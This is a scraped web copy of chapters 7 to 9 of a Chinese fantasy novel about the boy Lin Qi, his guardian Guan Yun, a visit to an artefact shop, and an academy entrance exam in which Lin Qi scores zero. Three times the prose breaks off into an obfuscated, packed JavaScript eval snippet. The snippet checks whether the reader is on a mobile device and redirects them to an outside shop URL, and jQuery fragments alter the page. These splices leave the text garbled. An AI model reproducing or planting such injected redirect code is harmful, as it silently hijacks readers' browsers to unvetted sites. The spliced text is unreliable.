提到林家,观沄看向那只香炉。 这是一件古董造物,配合咒纸使用,可以防止谈话内容外泄,上代人喜欢用它进行学术保密。他小时候见过几次,不过当时用的纸签都是白色,也不带这种恶俗香味。 一时两人都没说话,片刻,凌壑道:“十年了,你确定他还在吗?” 观沄抬眸,语气透着坚不可摧的笃定,“当然。” “怎么个当然法?” “以你的脑容量,我很难跟你解释清楚。” 凌壑不在意地一笑,“那就聊点适合我这脑容量的。学城干净,对林家人只有好处没有坏处,你干嘛要拦着?总不会是觉得养孩子很好玩儿吧?十几岁的小朋友可不是浇水就能活的,想想你养死的那些仙人掌和绿萝。” 观沄凉冰冰地扫他一眼。 凌壑抱着手臂,晃了晃脚,“反正今天如果不说清楚,我就赖在你家不走,看着办吧。” 片刻,观沄道:“林栖只有十 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观沄:“你觉得这和咒术有关?” 在他听说林栖是个杀不死的怪物时,已经猜到这可能是某种咒术。 有些大家族会在孩子身上施用保护咒,确保他们平安长到成年,但林家历来并不热衷咒术,他也没在这个方向深究。 凌壑道:“保护咒有两个方向,一类是防护,一类是修复,防护当然很好,不疼不痒,但有时效,用在孩子身上,得有长辈或咒师长期跟着。 修复类就简单得多,但也有个毛病,只要是修,就需要材料,那么材料从哪里来?不是从别人身上,就是从自己身上。你把草割了,草根还在,还能再长,但重长一茬,总要比别的草矮半截吧?” 观沄忽然想起福利院的记录。 林栖是从火灾现场捡回来的孩子,如果当时身边没有长辈护着,又在火里受了重伤,那么在经历修复损耗之后,外表年龄和实际年龄确实会出现一些偏差。 当时福利院根据经验判断他只有三岁,其实一开始就错了。 凌壑抱着胳膊晃了晃腿,“我就说吧,白塔不会出错,要错也是你们弄错,林栖就是十二岁。” 不对。 其实不止。 不然林栖也不会刚过来就被白塔标记。 白塔的筛选规则是“年满十二”,而不是“刚好十二”。 按照语义逻辑,即使二十岁也算年满十二。 这并不算规则漏洞,因为正常情况下,年满十二就是刚好十二,不过林栖是个例外。 他是从外面来的。 凌壑抬起胳膊,朝观沄肩膀一搭,“那就没问题了,你带孩子准备考试,领养手续我来解决。” 观沄偏头躲开,“不用了,还有两年,不急。” “嗯?什么意思?” “意思是,本来就没打算送他上学。”观沄抱起手臂,像是一只护窝的龙,“不管实际年龄多大,既然林栖觉得自己只有十岁,那他就是十岁,现在上学还太早了。” 凌壑牙疼似地咂了咂嘴,“那我刚刚跟你说的这一堆算什么?” “算你不请自来。” 观沄把林栖带到这边,本来就不是为了送他去上学的。 上学需要住校,只有周末可以回家一天,且每次往返都要重新检查侵蚀状况,大部分学生为了保证安全,都会尽可能地留在学校,只在学期末的时候回家。 林栖身份特殊,且刚到这边,对一切都不了解,如果让他自己一个人去上学,面对完全陌生的环境和同学,那他大概又要像以前在福利院那样,每天小心翼翼地隐藏自己。 这不是观沄想看到的。 他希望林栖能像其他孩子一样,活得轻松自在。 7. 第 7 章 林栖顶着两颗不对称的红脸蛋回到房间,对着镜子洗干净,又盯着手上的白塔标记看了很久。 然后,他想,他还是去上学吧。 不过不能直接说,得先找个理由。 第二天林栖起得很早。 观沄准备早餐时,他搬着一架木梯,在屋里“探险”,先探客厅里的大书柜,再探房间里的书橱、书架…… 他随身带了一个小本子,记录每个柜子里的书籍数量。早饭过后,又当着观沄的面,搬着梯子进了书房。 木梯撑开“人”字形,脚踏又厚又稳,林栖刚要往上爬,就听一道人声冷不丁从背后冒了出来—— “你喜欢看书啊?” 林栖动作僵了一下,回头就见凌壑一手支着门框,笑嘻嘻地看他。 他心道是的,我们文盲最喜欢看书了,同时乖巧地点了下头。 凌壑靠近过来,朝他本子指指,“做记录呢?” 林栖“嗯”了一声。 “记了多少本了?”凌壑似乎对这个无聊的话题很有兴趣。 林栖做记录不是给凌壑看的,但没关系。 “客厅六百五十五本,左边那间屋两百二十三本,右边一百八十本,这间还没数,可能有几千本。” 凌壑笑得灿烂,“数了这么多呢,那你知道学城里有多少书吗?” 林栖看着他,眼中透出掩饰不住的期待和好奇。 凌壑很能聊,林栖只用时不时表现出一点兴趣,他就能顺着他的心思往下扯,讲完书籍又讲造物,顺便口头做了一篇文学巨著,描绘主城区的绝美风光…… 直到观沄出现,他才刹住话头,长腿一抬,跳窗跑了。 林栖继续清点书目,花了一天时间,给自己搭起一个热爱书籍的人设。 他计划循序渐进,等到了明天,就说想去逛学城里的书店,逛完之后,再提出想看造物。 这样铺垫几天之后,他就可以告诉观沄他想去上学了。 毕竟他听凌壑说了学城很多好话,知道白塔既有藏书也有造物,那么他作为一个喜好书籍和造物的小孩,想去白塔看看也算很合理吧? 他计划得很好,但到了第二天,观沄却先一步问:“想不想去造物店里看看?” 这和计划好的顺序不太一样,林栖犹豫着问:“造物店?” “就是名字很奇怪的那家。”观沄笑着提醒,“之前还说要拉黑你。” 记忆场景一瞬变得鲜活,隔着几天时间,林栖仿佛又对上了那双深红色的眼睛。 他迟疑着问:“……什么时候?” “不如就现在吧?”观沄笑着起身。 其实他能感觉到,林栖似乎不是很想出门,但那家造物店只有今天能去。 “邀请”非常难拿,而且过期作废。 他之前就对那家店有所耳闻,见林栖对它感兴趣,又特意打听过,店主是修复师,店里收藏有一些古董造物,但收藏区不对普通客人开放,想要进店参观,唯一的方式就是拿到“邀请”。 ——先预约,再由店主决定是否给出邀请,入选规则成迷……总之,他试了,没成功。 现在手上这张“邀请”还是凌壑给的,不知这人用了什么法子,只半天时间,就从别人手里弄了一张过来。 这种事情,凌壑总是比他擅长。 拿人手软,只能暂且忍受这人在他眼前晃荡。 观沄只打算带着林栖一个,但刚出门,凌壑就不请自来,笑嘻嘻地跟着一起去了。 来到老街,远远就见一辆奢华轿车停在造物店外,一男一女打扮精致得体,站在车前大声质问。 上次那个头顶长角的男孩儿朝两人说了几句什么,转身拿起扫帚赶人。 青砖路面明明很干净,扫帚却脏得好像刚从灶台底下掏出来的,一扬就是一层土渣,劈头盖脸的,隔着十米都能看见一层白烟儿。 观沄停步,抬手揽了一下林栖肩膀,等那两人离开,店前尘埃落定,才领着他走过去,礼貌递上邀请。 长角的男孩儿朝他们扫了一眼,“哦”的一声接过信封,进屋关门,然后就没动静了。 三人就这么晾在门口。 凌壑抬手,半真半假地在门上推了一下,感叹道:“怪不得都说这家店主脾气不好,果然名不虚传。” 林栖轻轻捏着手指上的创可贴,朝他看了过去。 凌壑摸了摸下巴,“店这么老,店主肯定也不年轻……大概是到更年期了。” 林栖:“?” 片刻,那个头上长角的男孩儿开了店门,侧身咕哝:“进来吧,别到处乱走。” 门内是一间小厅,黑木货柜横在当中,玻璃展区空无一物,后方支着宽大厚重的屏风,侧面隐约可见一扇窄门。 店里有一股沁凉的木质香,夹杂着少许野花和干草的味道。 男孩儿在几人身后关了店门,恹恹道:“我叫独角仙,是打杂的,有事叫我,不过最好别叫。” 这时,悬挂在屏风上方的铁皮风铃轻响一声,传出一道冷质少年嗓音:“一张邀请,你把三个人都放进来了?” 林栖仰头看向那只风铃,默默打量。 自称独角仙的男孩儿抱起手臂,扭着脖子争辩:“反正我说什么也没用,你自己看吧,爱留哪个留哪个,剩下的直接骂走不就行了。” 听到“骂走”时,凌壑勾了勾唇角,朝风铃道:“小朋友,你家长呢?没在吗?” 独角仙震惊地看着他,一脸你在说什么鬼话的表情。 空气明显一静。 那道少年嗓音再次响起:“不好意思,我更年期,脾气不好,你们最好不要跟我开玩笑。” 凌壑一挑眉,似乎想再说点什么,但被观沄一个眼神给按住了。 观沄礼貌开口:“打扰了,我们听说店里收藏有很多难得一见的古董造物,特意慕名前来参观。” 铁皮风铃在穿堂而过的微风里轻轻转了半圈,少年嗓音似乎也被拖拽出一线悠长,“没长嘴的那个进来,剩下两位劳驾请滚。” 好一个劳驾请滚。 凌壑当场笑出声来,眼神朝观沄一挑,意思是:你那么客气不是一样得滚? 观沄没搭理他。 林栖茫然片刻才后知后觉,他就是“没长嘴”的那个。 观沄略微俯身,温声朝他道:“自己一个人进去行吗?” 林栖认真点了点头,一双眼睛闪着亮晶晶的期待。 观沄见他确实想去,只能按下担心,“那我就在外面等你,如果不想看了随时出来。” 待两人出门之后,独角仙把林栖领进那扇小门,又上了半层楼,从壁柜上拿出一只巴掌大的铁皮大白鹅,拧了发条放在地上。 大白鹅发出“嘎”的一声,抖抖尾巴,扭着步子朝前走。 独角仙指着鹅说:“你就跟着它走,转完一圈也就差不多了。” 林栖照做,跟着鹅走没难度,但鹅掌太小,扭动五步的距离刚够林栖迈一小步。 在大白鹅的带领下,他像个刚学步的婴儿,缓慢地经过转角,缓慢地穿过走廊……缓慢地走进一扇门,沿对角线穿过门厅…… 门厅连着收藏区,几米之外,厚重的木质展柜整齐排开,透过玻璃,可以看见摆在近处的木雕小鸟和铁皮金鱼…… 画风很像老式的手工玩具。 林栖跟着大白鹅,走不快,下意识地向前倾身去看,这时忽然听到右手边传来极轻的一点响动,像是刚削好的硬质铅笔第一次划过纸面时的摩擦声。 林栖转头,视线穿过走廊,看到了一扇半敞的门。 门外的简洁和门内的繁复形成鲜明对比,那扇门就像是打开了一本画册,露出里面的古典插图—— 纯黑的柜子占满了整面墙,正面布满药格似的抽屉,每一只抽屉正面都嵌着一张名片大小的黑白照片。 柜子前方是一张宽大的工作台,台面两端放满工具箱和工具架,整齐而拥挤,空出中间一米宽的位置。 一只细脚伶仃的金属台灯支在桌面中心,冷白灯光仅够照亮工作区域。 光线中心支着一个褪了色的木雕雪人,一只极好看的手悬在侧旁,腕骨以下隐没在灯光外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他低垂眼睫,默默按下情绪,不太走心地道了个歉,“不好意思,走错路了……” “所以眼神也不好,看不见那么大的一只鸭子?” 林栖心道你才眼神不好,这明明是鹅。 他朝少年看了一眼,又快速收回视线,径直走向收藏区。 铁皮大鹅先是愣了一下,随即使劲迈步跟上,一对鹅掌倒腾太快,发出了“吱嘎吱嘎”的铁皮摩擦声。 展厅不算小,给每只造物都安排了相对独立的展示空间,玻璃门上挂着介绍牌,上面写有文字说明,包括造物年份和造物师的个人信息。 林栖刚进门就发现,这些牌子都是古语写的,对他这个现代文盲十分友好。 展厅按年份排序,靠近门口的造物最新,那些上百年的古董造物则在后面几排。 这里布局很像图书馆,柜子四周留有步道,林栖直接跳过前面几排展柜,走向最后一排。 他脚步刚一停下,视线还来不及转向柜子,就在步道尽头撞上一道暗红色的视线。 “你又走错路了?”冷淡的少年嗓音从斜上方悠悠落下。 林栖发现,对方居然比他高了一头。 两侧空间狭窄,林栖隐隐有种一步踏进陷阱里的错觉,想往后退,却因为被对方盯着而挪不动步。 他将视线默默移向一旁。 不管你看不看我,反正我不看你就行了。 视野中,距离他最近的介绍牌上写着造物师的名字,也姓林,但不是林叙。 少年屈起食指,在展柜边角叩了叩,“你就算把它盯出个洞,该看不懂还是看不懂。” 林栖在心里反驳,你怎么知道我看不懂?而且明知道别人看不懂,为什么还要用古语写介绍? 他在心里磨着爪子,表面却安安静静,只把目光又垂得低了一些,样子很软很乖,让人想刻薄都无处着力。 片刻,少年有些不耐烦道:“说吧,想找谁的造物?刚好不忙,顺便帮你看看。” 林栖想着,早点看完就能早点走,于是道:“林叙的,有吗?” 空气明显一静,接着就听对方笑了一声,以一种很奇怪的语气反问:“你觉得呢?” 8. 第 8 章 这句话之后,林栖就被赶出来了。 下楼时,他试着反省自己到底哪里惹着那个修复师了,想到的第一点是,对方问他好看吗,他点头了。 虽然确实很好看,而且是整体和细节都好看的那种好看,一眼看不完,让人忍不住就想多看几眼。 但对方明显不是在问他问题,而是在表达态度。 意思是:看什么看? 另外,那只铁皮大鹅嘎嘎叫的时候也可能是在告状,声讨他走得太快或是鞋子口感不好…… 林栖默默想了很多,然后发现自己想多了。 凌壑说,其实那张“邀请”不能转让使用,他们一开始就没有参观资格。 那个“更年期小孩儿”之所以放他进门,其实是在故意遛着人玩儿。 听到这话,观沄看了凌壑一眼,脸上写着:不能转让你不早说? 凌壑挑眉一笑,脸上分明是:早说你还怎么欠我人情? 林栖头顶缓缓冒出问号。 “更年期小孩儿”是什么神奇物种? 这次参观不算顺利,但对林栖来说已经够用了,回去之后,他又问了一堆有关造物店的问题,默默在心里准备说辞。 到了晚上,观沄依然执着地要用小奶锅给他热一杯睡前牛奶,他也已经有经验了,全程在旁边盯着,防止火太大了牛奶又扑出来。 热好之后,观沄用勺子试了试温度,把牛奶倒进带着两只小把手的陶瓷杯子给他。他捧着喝了一会儿,开口时,声音浸润着清甜温热的奶香。 “院长……” “嗯?今天的牛奶是不是有点淡?我看奶皮没有昨天的厚。” “不淡,好喝。”林栖垂着眼睫,声音像小锅里的奶泡那样咕嘟着,“院长,我有点想去上学……” 在林栖的字典里,“还好”就是不好,“有点”就是很多。 观沄手里捏着纸巾,正准备给他擦掉嘴唇上的奶胡子,闻言微微一怔,“怎么突然想去上学?” 林栖低头看着杯子,拇指在陶瓷把手上轻轻搓着,“如果有人问年龄,我就说我十二岁了,个子矮可以穿增高鞋。” 年龄问题观沄已经弄明白了,但还没告诉林栖。 他希望林栖可以暂时远离这些麻烦,像其他孩子一样安心生活,不用那么懂事,任性一点,可以撒娇,可以犯傻,可以叛逆。 看到林栖瘦瘦小小一只站在自己面前,他其实想抱抱他,或是摸摸头,但福利院有个不成文的规定:不抱孩子。在那种环境下长大的孩子对身体接触有一种异于常人的敏感,而林栖很早就主动把自己孤立起来,只会更加敏感。 片刻,观沄问:“是有人跟你说了什么吗?” 林栖静了静,抬起眼睫,眼底透出细小的期待,仿佛平静湖面倒映着点点星光。 “我听说,白塔书馆收藏了几万本书,不只有最稀有的古书,还有外面绝对见不到的禁书……还有那些造物,你跟我说过,大部分都在白塔,如果我去上学,就能经常去看。” 关于书的部分,自然是听凌壑说的。 观沄看着他,片刻,轻轻呼了口气,俯身道:“但是,到了学校,如果有同学针对你呢?” 作为林家人,林栖很容易被人身份歧视。 林栖手指轻轻摸着杯子,“那我也针对他们,我很擅长不搭理人。” 观沄又问:“如果同学发现你跟别人不一样,所以故意欺负你呢?” 他的意思是,如果有人发现林栖受伤之后会立刻恢复,可能会故意让他受伤。这也许是一种排斥异类的本能,也可能只是单纯觉得好玩,孩子的恶意往往比成人更甚。 林栖从杯子旁边翘起一根食指,露出那枚伪装用的蓝色创可贴,“那就不让他们发现,我很擅长伪装。” 观沄仿佛看到一只橘红色的小狐狸,在他面前努力张大嘴巴、伸出爪子,向他展示尖尖的牙齿和锋利的指甲。 他直觉林栖在试图隐藏什么,监护人的责任感和成年人的掌控欲都让他想刨根究底,拆穿小狐狸的伪装。 但是…… 他从林栖身上收回视线,对自己默念:边界感,分寸感……一个合格的家长要让孩子保有自己的小秘密。 要让小狐狸藏好他的狐狸尾巴。 片刻,他笑着叹了口气,目光温和地抚过林栖发顶,“既然你想上学,那就去吧,不过要先答应我一件事。” 林栖立刻点头,“好。” “我还没说是什么呢。”观沄伸手摸了摸林栖手里的杯子,确认牛奶是否已经冷了,“你现在已经有家长了,要答应我,如果被人欺负了,要第一时间回家告状。” 林栖喉中低低“嗯”了一声。 他身上有白塔印记,任何一只报喜鸟都能凭着印记找到他,而找到他就等于找到了观沄。 观沄会被迫见到很多不想见的人。 所以他不能这样待在观沄身边。 他不想变成一个累赘。 上学的事情定下,三天后,林栖拿到了他的身份证明。 凌壑搞来的身份证明有两个版本,一个是领养,一个是寄养。 “领养”和他所知的差不多,“寄养”则有些特别。寄养文件分为两个部分,一是“寄养家庭”,二是“原生家庭”。 在原生家庭的文件后面,还附带着“亲生父母”的个人信息,包括照片、身份文件、申请陈述以及亲笔签名。 在这里,一些父母为了孩子能够干干净净长大,甚至会主动把他们送给别人去养,而法律也允许这种情况。 为了让假的变成真的,凌壑不知从哪儿给林栖弄来了一对父母和两个有侵蚀的姐姐。 假父母甚至给林栖写了几封信,老泪纵横地祝他考试顺利。 观沄让林栖自己选择领养还是寄养。 林栖选了寄养,理由很复杂,但也很简单,领养需要改姓,但他不太想改。 被捡到福利院时,他唯一记得的事,就是自己姓林。 凌壑几乎包揽了所有入学琐事,林栖什么都不用管,只需要等着参加考试。 学城路远,考试当天林栖起得很早。 外城区、下城区、中城区、上城区、主城区——每跨一个城区,都要通过一道检查,越往后,检查就越繁琐复杂。 主城区的身份核查动辄长达十几分钟,但今天是考试的日子,林栖又有白塔标记,被检察人员安排走了特殊通道,提前放行。 安检通道路边站着一个小女孩儿,头上戴着亮闪闪的水晶小皇冠,怀里抱着精致的生日礼盒,在看到林栖通过时,朝他投来了很羡慕的目光,仿佛他是童话故事里的小王子,结束了短暂的旅行,即将回到属于他的城堡。 类似这样的目光很多,一路上,林栖被看得有些不自在,长睫低低垂着,看着指节上的创可贴,安静跟在观沄身边。 考试当天,其他家长都穿得十分隆重,观沄却还是白T恤、浅牛仔、帆布鞋。 身上带着令人安心的松墨香。 考生一进校门就有工作人员接应。他们穿着白色制服,佩戴金色徽章,负责介绍学校历史以及学院情况。 天际云絮漫卷,白鸟成群,阳光从羽隙间洒落下来,映衬着白塔顶端澄明纯澈的十字星辉。 那是比阳光更耀眼的星光。 凌壑没吹牛,学城确实很美,像一个降临在现实中的童话世界,但值得看的景色太多,反而让人无所适从。 林栖不像其他学生那样兴奋雀跃,像是有点中暑,胸口闷闷的,有些恍惚。 工作人员在旁边解说考试规则,按照传统,入学考试分院系进行,每个院系自主挑选学生,挑选标准和考核方式以各院系考官公布的规则为准。 原则上,校方不干涉各院系挑选学生。 负责林栖的工作人员像是提前知道一样,直接把二人领到画院门口。 几个穿着学生制服的孩子等在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643446|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路边,将他们带往考试地点。 林栖像是没睡好的时候被迫早起,从进到学校开始,精神有些不太集中,视线总是一不小心就落到墙边的阴影里,或是对着砖缝里的苔藓发怔。 画院的露天考场选在两座教学楼中间,两侧的环形走廊上挤满了人,大部分都是学生,分着不同年级,身形高矮胖瘦,眼睛却齐刷刷地看着同个位置。 观沄走到哪儿,好奇的目光就追随到哪儿,瞻仰完这位传说中的天才院长,又打量他带来的那个学生。 观院长有个十二岁的孩子——这件事已经在院里议论好些天了。 一开始,大家的关注重点还在观沄本人身上,后来听说这是寄养来的孩子,议论中心就自然而然地转到了男孩儿身上。 没人清楚男孩儿来历,但所有人都认定,他肯定是个天才。 争论点仅限于,这位小天才和观沄这个大天才相比,到底能不能青出于蓝? 毕竟观院长可不是一般的“蓝”。 能超越他的孩子,只一般的“青”是不够的,至少也要青到饱和度的顶点,青得过曝,青得半夜放光。 如果在画院听到有人议论“青青学弟”或是“夜光学弟”,那么不用怀疑,指得都是林栖。 学城对“寄养”一事有着与世俗不一样的认知。 在学城师生看来,这不是简单帮人照顾孩子而已,更类似于传统的学徒制。 如果一名学院教师肯接收寄养,往往是因为发现了极有天赋的孩子,愿意把他/她带在身边提前栽培。 画院早几年就出过这样的例子,那孩子入学仅仅两年,就超过了收养他的老师。 这位“夜光学弟”能被观沄看中,天赋肯定非同凡响,搞不好第一年就要超越现任院长——就像当年的观沄一样。 “嘘……” “开始了开始了。” 围观的学生们主动静音,盯紧考试场地,在看清主考官手里的道具时,他们几乎同时在心里“咦”了一声。 居然把这件老古董请出来了? 主考官手中托着一支造型古朴而粗重的画笔,从外形上看,它像是一杆直接用树枝磨出来的铅笔。 旁边桌上平放着一张画板,主考官拿起那支画笔,随手在画板上画了个圆。 笔尖墨色落下,稍待片刻,一条细细的墨线就浮空而起,线条晕开,顺着看不见的弧面延展成一枚立体的圆,并于几秒钟内变成一颗五彩斑斓的气泡,落入考官掌心。 “这是画院最传统的一种入学考试——源墨测试。考试内容很简单,只需要像我这样,用这支笔,在纸上画一个圆。” 主考官说话时,身形站得笔直,后背线条像用尺子卡着画出来的,显得态度极其端正,声调却略显高昂,透着一丝不寻常的亢奋。 和一般考试不同,源墨可以测出一个人的天赋上限。 周围传出一阵议论,画院很吃天赋,这不是秘密,但因为“天赋论”和“努力论”的争议,画院这些年来很少用源墨进行考试,更愿意把挑选天赋这件事做得隐晦一些,给那些只会努力的孩子留下一点希望。 今年忽然回归传统,显然是不是因为情怀,而是为了某个传说中的天才。 主考官用一种很直白但又不说破的方式,告知学生挑选规则,“在你们画完之后,墨线会变成不同形态,可能是光圈、烟圈,也可能是水柱、木柱、泡泡、铁球……我们会根据物体形态、材质、完成度和特殊性进行综合评分,并在最后统一公布结果。” 他在列举时没有明确区分等级,但所有画院学生都听得出来,排名分先后,从天赋来看,光圈烟圈是初级,泡泡铁球是中级。 考官继续道:“不过,如果你们中的哪位可以画出洋葱、苹果或是其他什么更有趣的东西——” 他微笑着,目光扫过一众考生,在林栖身上顿住,“那么根据学院给我的主考官权限,我将记下他的名字,并予以当场录取。” 9. 第 9 章 主考官解说完毕,顿了顿,又打趣道:“当然了,孵出一只鸟也可以。” 在场除了林栖,所有人都听得出来,这是在暗指观沄当年参加源墨测试时的情况。 不论哪个院系,“生命属性”总是代表最高天赋。 “孵个鸟有什么意思?” 凌壑的声音忽然从后面冒了出来。 林栖一转头,就见他站在观沄旁边,悠闲地捋了一下发尾。 这人好像总能莫名其妙地冒出来。 见他回头,凌壑朝他招了招手,又指指观沄,“你知道他当年孵了个什么出来吗?” 凌壑幽幽叹了口气,“我们这一代的孩子,都是听着天才的故事,被打击着长大的。一直到咱们这位天才院长辞职跑了,家里长辈才觉得,太天才了也不是什么好事,还不如养个笨蛋,至少听话。” 画院学生发出一阵嘘声。林栖好奇,院长当年到底孵了什么。 “一条龙。”凌壑笑道,“不过你要是也孵条龙就没意思了。我的建议是孵个蚯蚓,更有创意,而且是一目了然的父子传承。” 主考官严肃地咳了一声,打断凌壑胡扯,宣布考试开始。 不知道是故意还是巧合,林栖的测试被安排在最后一个。 那些和他差不多大的孩子一一向前测试,画板上方浮起光圈或是烟圈,考官每次都会鼓励一句“很好”,但看那些孩子脸上的表情,他们自己一点也不觉得好。 连续几个光圈之后,有个孩子画出了泡泡,考官还是那句“很好”,但语气明显带着欣慰,赞许地朝她点了点头。 直到有人画出一颗桃子,考官才真正的面露喜色,周围也响起一阵掌声。 不过掌声并没持续多久,因为下一个就是林栖,他们中的很多人就是冲着林栖来的。 在准备的片刻间,林栖已经感觉到了满场的视线与关注。 无形的压力像一张不透气的薄膜,从四面八方包裹上来。 他垂着睫毛,下意识地缩起肩膀,试图让自己目标变小。 主考官微笑着将画笔交到他手里,他因为紧张,拿笔时碰到了笔尖,在手指上蹭了点墨。 不过他没注意到这点细节,径直走到画板前方,一秒都没多等,落笔就画。 白纸上多了一个线条利落的圆。 周围短暂地嘈杂一瞬,接着陷入屏息凝神的沉寂。 那根墨线轻轻浮空而起,变成了……一根墨线。 一根墨线? 是的,它没发生任何变化。不论颜色还是笔迹,都和纸面上都一模一样。 它仅仅是浮了起来。 没人见过这种情况。 “那是一根线吗?” “是吧……” “还没变吗?” “反正我没看见。” 几声议论之后,周围安静下来,所有视线集中在一个点上,众人都在等着墨线突然变异,仿佛那一圈平平无奇的黑色线条是什么时空缺口,随时都能从中撕开一道奇迹。 然而计时器在桌上滴答作响,十秒钟过去,墨线还是墨线。 半分钟过去,没有任何奇迹发生。 周围一片死寂,连呼吸声都没了。 主考官也没说话,只是看着那根墨线,脑袋从左边歪到右边,又从右边歪到左边,反复观察,反复确认,反复沉默。 沼泽般的凝滞中,凌壑的声音像气泡一样冒了出来:“我不是你们画院的,可能不是很懂,这种情况该怎么解释?” 他是朝着观沄说的。 主考官反应过来,也求助地看向观沄,观沄没说什么,只是走过去,将林栖领回身边。 凌壑随手薅来一个学生,“要不你来说说,这该怎么解释?” “嗯……”学生斟酌道,“我也没听说过这种情况,但这个测试考得就是变化,如果不变,那应该就是……没天赋吧?然后这个测试其实没有具体分数,主要看综合情况,非要说的话,天赋高的,比如桃子那种,就算两三百分吧?烟圈能算五六十分……” 他看向林栖,挠挠下巴,“现在墨线完全没变,那就只能算零分吧?还是挺神奇的,我以前觉得最差就是烟圈了,都不知道能考零分。” 其实在这个学生说到一半时,带他的老师就已经在疯狂朝他使眼色了,奈何小孩儿不懂人情世故,大实话说出来莫名觉得很爽,就忍不住越说越多。 谁不想看天才考零分呢? 现场气氛变得有些诡异。 凌壑看向观沄,笑着问:“你怎么养了一个笨蛋?” 众人脸色复杂,气氛顿时更诡异了。 主考官激灵一下回神,忙打圆场,“这种情况前所未有,可能是测试笔出了问题,我提议重考一次,嗯,对,再试一次。” 其实他很清楚,笔杆是画傀,墨芯是造物,没那么容易出问题。 但这是观院长亲自带来的孩子,就算再没天赋,也不至于这么没天赋吧……? 哪怕退一万步,小孩儿真的不行,顾着观院长的面子也得再试一次。 林栖看向观沄,观沄脸上带着担心,若有所思地问:“还想再试试么?” 林栖点了点头。 其实他不太想。 主考官开始准备二次测试,给林栖换了一支画笔。 其实只是换了壳子,里子还跟之前一样,不是不想换,是换不了。 墨芯是“源墨”,也算一件古董造物,是他们画院辈分最高的一块墨,如果换掉它,所谓测试也就不存在了。 林栖又画了一次,这次很慢,很仔细。 落笔时,他头垂得很低,能看出画笔并不是想象中的铅笔,笔尖质地是很细腻的膏状,在纸面画出线条时,会散出醇厚的松墨清香。 和观沄身上的味道很像,但更古朴。 林栖这次画得认真,圆圈比上次规整很多。 但结果还是一样。 细细一根墨线浮在画板上方,像是把在场所有人头上的那颗问号剪碎了,硬是拼凑成圆。 主考官脑子发木,眼睛也木,看看它,又看看林栖,实在无话可说。 凌壑手肘朝观沄碰了碰,“没天赋到这种程度,从某种意义上说,也算是百年不遇的人才了。” 观沄没说话。 凌壑继续道:“就好像比赛吃饭,人家都是往嘴里塞,他是往外面吐。” 立时就听“啪”的一声,一张红纸膏药拍到了凌壑嘴上。 他闷哼一声,刚要用手去撕,手腕就被不知从哪来的绳子一绕,紧紧捆住。 凌壑在膏药下方扯了扯嘴角,求饶地看向观沄,观沄并不理他,只是轻轻揽着林栖肩膀,向外走去。 之前负责领路的工作人员等在外面,观沄让他不用跟着,自己带着林栖走出一段,见后面没人跟来,才逐渐放慢步子。 眼前是树荫下的一段僻静小路,林栖左右看看,缓缓舒了口气。 观沄在一旁看他,“怎么没考上还好像挺开心的?” 林栖“唔”了一声,因为观沄的关系,他确实想进画院,但好像也没那么想…… 如果真考上了,他可能每天都要被人这么盯着。 只是想想就有点不想活了。 林栖低头,把手指上浅蓝色的创可贴捏了捏,咕哝道:“做画师太难了,我想学点简单的。” 观沄笑问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643447|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不上学不是更简单么?” 林栖抬起视线,眨了眨眼,“院长,你怎么能这样教育小孩儿?” 两人随意走着,暖色的石板路在脚下转了个弯,眼前忽然现出一片树丛。 学城是一片丘陵地,主城区地势最高,现在温度接近春末夏初,几乎比外城慢了一个季节。 在这里,一些属于晚春的树木才刚把新叶长好。 眼前这些树已经有年纪了,尤其是最前面的两棵,主干带伤,愈合处已经覆满苔藓。 树上挂了说明牌,左边那棵名叫“金隐”,新叶是极明媚的金色,绣着亮橘色的边线,老叶逐渐过渡到大片澄澈的金绿色,十分惹眼。 右边那棵名叫“月升”,嫩叶茜红,老叶橙绿,颜色一层层向下过渡,像用极细腻的水彩笔触染出来的。 树丛后方,是一栋画风很沧桑的建筑,石缝里的野树苗已经长到了拇指粗。 林栖走着走着就停了脚步,仰头看向这两棵树。 “好看吗?”凌壑的声音忽然冒了出来,“这两棵枫树是造院最值钱的家当,每次缺经费,老僵尸就威胁要把它们拔了卖钱。” 林栖在心里反驳,这是槭树不是枫树,他以前看过图册。 这时就听树丛后方传来“呵呵”一声,有人从树后阴影中踱步走了出来。 这人身材宽瘦单薄,脸色白得结霜,像是炸了墓地,新从坟包里爬出来的尸体,仿佛这辈子都没睡过觉,黑眼圈浓得用笔蘸蘸就能写字。 这副形貌,远看七十多,近看五十多,真到了眼前细看,才发现其实也不过三十左右……单看眼睛还更年轻,眸光又锋又利,透着一股傲气。 他直直盯着凌壑,吐出冰块儿似的声音,“我看是谁在我这儿放屁?” 凌壑笑着回应,“每年的招生季,就是许院长的更年期。” 这位许院长名叫许慎行,面无表情地掀了一下眼皮,墓气沉沉道:“既然是更年期,无缘无故揍你一顿也很合理吧?” 他话音未落,身后阴影中就缓缓立起一副龙骨。 龙骨拖着一对骨翼,潜身穿过树丛,直起身时,足有三四米高,空洞的眼窝一转,盯向凌壑,张嘴露出一排尖牙,似乎立刻就要吃人。 这时许慎行略一抬手,“等等。” 